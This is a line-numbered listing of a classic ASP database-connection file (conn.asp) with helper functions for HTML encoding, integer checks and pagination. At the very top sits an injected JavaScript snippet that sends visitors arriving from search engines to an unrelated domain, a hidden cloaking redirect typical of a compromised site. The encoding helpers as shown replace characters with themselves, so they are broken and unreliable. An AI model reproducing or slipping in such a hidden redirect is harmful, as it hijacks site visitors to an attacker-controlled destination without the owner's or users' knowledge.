d:\wwwroot\wuchunhua\cityadmin\conn.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@ LANGUAGE = VBScript.Encode
%
>
002:
<!--#include file="../setup.asp" -->
003:
<!--#include file="../setup1.asp" -->
004:
<%
dim conn
005:
On Error Resume Next '容错声明
006:
response.buffer=true
007:
008:
dim db,connstr
009:
db="#data.asp"
010:
set Conn = server.CreateObject("ADODB.Connection")
011:
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& server.MapPath("../data/"&db&"")
012:
conn.Open connstr
013:
014:
015:
Function HtmlEncode(Content)
016:
Content = Replace(Content, ">", ">")
017:
Content = Replace(Content, "<", "<")
018:
Content = Replace(Content, "'", "")
019:
HtmlEncode = content
020:
End Function
021:
022:
Function HtmlEncode2(Content)
023:
Content = Replace(Content, ">", ">")
024:
Content = Replace(Content, "<", "<")
025:
Content = Replace(Content, " ", " ")
026:
Content = Replace(Content, "'", "")
027:
Content = Replace(Content, vbcrlf,"<br>")
028:
HtmlEncode2 = content
029:
End Function
030:
031:
function isChkInteger(para)
032:
On Error Resume Next
033:
dim str
034:
dim l,i
035:
if isNUll(para) then
036:
isChkInteger=false
037:
exit function
038:
end if
039:
str=cstr(para)
040:
if trim(str)="" then
041:
isChkInteger=false
042:
exit function
043:
end if
044:
l=len(str)
045:
for i=1 to l
046:
if mid(str,i,1)>"9" or mid(str,i,1)<"0" then
047:
isChkInteger=false
048:
exit function
049:
end if
050:
next
051:
isChkInteger=true
052:
if err.number<>0 then err.clear
053:
end function
054:
055:
Function PageSplit(currentpage,totalpage,pagename)
056:
if currentpage mod 10 = 0 then
057:
Sp = currentpage \ 10
058:
else
059:
Sp = currentpage \ 10 + 1
060:
end if
061:
Pagestart = (Sp-1)*10+1
062:
Pageend = Sp*10
063:
strSplit = "<a href="&pagename&"?pageid=1><font face=webdings title=第一页>9</font></a> "
064:
if Sp > 1 then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart-10&"><font face=webdings title=前十页>7</font></a> "
065:
for j=PageStart to Pageend
066:
if j > totalpage then exit for
067:
if j <> currentpage then
068:
strSplit = strSplit & "<a href="&pagename&"?pageid="&j&">["&j&"]</a> "
069:
else
070:
strSplit = strSplit & "<font color=red>["&j&"]</font> "
071:
end if
072:
next
073:
if Sp*10 < totalpage then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart+10&"><font face=webdings title=后十页>8</font></a>"
074:
strSplit = strSplit & "<a href="&pagename&"?pageid="&totalpage&" ><font face=webdings title=""最后一页"">:</font></a>"
075:
PageSplit = strSplit
076:
End Function
%
>
077:
078:
079: